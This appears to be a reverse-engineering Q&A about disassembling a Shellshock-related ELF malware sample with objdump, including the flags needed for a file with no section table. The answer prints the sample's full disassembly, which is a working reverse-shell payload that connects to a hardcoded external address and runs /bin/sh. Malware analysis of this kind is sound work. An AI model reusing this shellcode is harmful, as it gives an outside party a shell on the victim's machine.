Unable to dump malware assembly using objdump

Question

I'm trying to dump assembly code of a ShellShock malware explained in this blog post:

• MMD-0027-2014 - Linux ELF bash 0day (shellshock): The fun has only just begun... .

After dumping using objdump -d, the output shows just the following:

fu4k:     file format elf32-i386

Then, I tried the command objdump -b elf32-i386 -d fu4k, but it gave the same output.

Please point me in the right direction. Malware is located here (login required, password:infected).

Answer 1

-d only disassembles what objdump considers to be code sections. You can use -D to force disassembly of all sections. However, it still doesn't work for this file because it doesn't have a section table:

fu4k:     file format elf32-i386
fu4k
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x08048054

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000098 memsz 0x000000dc flags rwx

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
SYMBOL TABLE:
no symbols

So, in this case you can ask objdump to treat the file as binary and disassemble everything:

objdump -b binary -D -m i386 fu4k

To improve disassembly, you can use the information from the program headers (load address and entrypoint address):

>objdump -b binary -D -m i386 fu4k --adjust-vma=0x08048000 --start-address=0x08048054

fu4k:     file format binary


Disassembly of section .data:

08048054 <.data+0x54>:
 8048054:       31 db                   xor    %ebx,%ebx
 8048056:       f7 e3                   mul    %ebx
 8048058:       53                      push   %ebx
 8048059:       43                      inc    %ebx
 804805a:       53                      push   %ebx
 804805b:       6a 02                   push   $0x2
 804805d:       89 e1                   mov    %esp,%ecx
 804805f:       b0 66                   mov    $0x66,%al
 8048061:       cd 80                   int    $0x80
 8048063:       93                      xchg   %eax,%ebx
 8048064:       59                      pop    %ecx
 8048065:       b0 3f                   mov    $0x3f,%al
 8048067:       cd 80                   int    $0x80
 8048069:       49                      dec    %ecx
 804806a:       79 f9                   jns    0x8048065
 804806c:       68 1b 13 9f e0          push   $0xe09f131b
 8048071:       68 02 00 11 c1          push   $0xc1110002
 8048076:       89 e1                   mov    %esp,%ecx
 8048078:       b0 66                   mov    $0x66,%al
 804807a:       50                      push   %eax
 804807b:       51                      push   %ecx
 804807c:       53                      push   %ebx
 804807d:       b3 03                   mov    $0x3,%bl
 804807f:       89 e1                   mov    %esp,%ecx
 8048081:       cd 80                   int    $0x80
 8048083:       52                      push   %edx
 8048084:       68 2f 2f 73 68          push   $0x68732f2f
 8048089:       68 2f 62 69 6e          push   $0x6e69622f
 804808e:       89 e3                   mov    %esp,%ebx
 8048090:       52                      push   %edx
 8048091:       53                      push   %ebx
 8048092:       89 e1                   mov    %esp,%ecx
 8048094:       b0 0b                   mov    $0xb,%al
 8048096:       cd 80                   int    $0x80